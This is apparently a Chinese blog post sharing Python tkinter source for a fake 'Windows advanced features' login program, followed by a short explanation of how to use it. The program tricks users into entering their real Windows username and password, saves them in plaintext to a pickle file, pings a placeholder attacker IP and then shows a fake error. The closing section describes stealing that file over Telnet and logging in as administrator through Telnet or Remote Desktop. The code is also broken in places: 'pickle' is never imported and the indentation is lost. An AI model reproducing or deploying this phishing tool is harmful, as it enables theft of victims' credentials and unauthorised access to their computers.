代碼
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
os.system("ping -l 1 -n 1 你的IP")
window=tk.Tk()
window.title('歡迎使用Windows高級功能!')
window.geometry('450x300')
tk.messagebox.showinfo(title='welcome',
message='很高興您使用Windows高級功能!請在這裏重新註冊一個賬號,並且,用戶名與密碼必須與您現在使用的用戶一樣。')
#畫布放置圖片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')
#標籤 用戶名密碼
tk.Label(window,text='用戶名:').place(x=100,y=150)
tk.Label(window,text='密碼:').place(x=100,y=190)
#用戶名輸入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)
#密碼輸入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)
#登錄函數
def usr_log_in():
#輸入框獲取用戶名密碼
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#從本地字典獲取用戶信息,如果沒有則新建本地數據庫
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判斷用戶名和密碼是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:
tk.messagebox.showinfo(title='welcome',
message='歡迎您:'+usr_name)
tk.messagebox.showerror(message='系統錯誤 \n 錯誤代碼:01x0111x0 \n 請關閉此程序,因爲它似乎不適合你的Windows!')
else:
tk.messagebox.showerror(message='密碼錯誤')
#用戶名密碼不能爲空
elif usr_name=='' or usr_pwd=='' :
tk.messagebox.showerror(message='用戶名或密碼爲空')
#不在數據庫中彈出是否註冊的框
else:
is_signup=tk.messagebox.askyesno('歡迎','您還沒有註冊,是否現在註冊')
if is_signup:
usr_sign_up()
#註冊函數
def usr_sign_up():
#確認註冊時的相應函數
def signtowcg():
#獲取輸入框內的內容
nn=new_name.get()
np=new_pwd.get()
npf=new_pwd_confirm.get()
#本地加載已有用戶信息,如果沒有則已有用戶信息爲空
try:
with open('usr_info.pickle','rb') as usr_file:
exist_usr_info=pickle.load(usr_file)
except FileNotFoundError:
exist_usr_info={}
#檢查用戶名存在、密碼爲空、密碼前後不一致
if nn in exist_usr_info:
tk.messagebox.showerror('錯誤','用戶名已存在')
elif np =='' or nn=='':
tk.messagebox.showerror('錯誤','用戶名或密碼爲空')
elif np !=npf:
tk.messagebox.showerror('錯誤','密碼前後不一致')
#註冊信息沒有問題則將用戶名密碼寫入數據庫
else:
exist_usr_info[nn]=np
with open('usr_info.pickle','wb') as usr_file:
pickle.dump(exist_usr_info,usr_file)
tk.messagebox.showinfo('歡迎','註冊成功')
#註冊成功關閉註冊框
window_sign_up.destroy()
#新建註冊界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry('350x200')
window_sign_up.title('註冊')
#用戶名變量及標籤、輸入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text='用戶名:').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密碼變量及標籤、輸入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text='請輸入密碼:').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)
#重複密碼變量及標籤、輸入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text='請再次輸入密碼:').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)
#確認註冊按鈕及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text='確認註冊',
command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)
#退出的函數
def usr_sign_quit():
try :
window.destroy()
except :
pass
#登錄 註冊按鈕
bt_login=tk.Button(window,text='登錄',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='註冊',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)
#主循環
window.mainloop()
# -*-coding:utf-8-*
import socket
import threading
import Queue
import time
except :
pass
原理
先通知你,然後假裝爲一個高級功能的登錄程序,讓用戶輸入自己的用戶名和密碼,接着用Telnet入侵對方,盜取這個文件:
usr_info.pickle
用記事本打開,即可查看密碼。
接着,再次用telnet或遠程桌面連接進行連接,輸入管理員的密碼,即可進行入侵!
(注:此源碼出自我的博客裏的一本書,可以去裏面看看詳情!)
白白~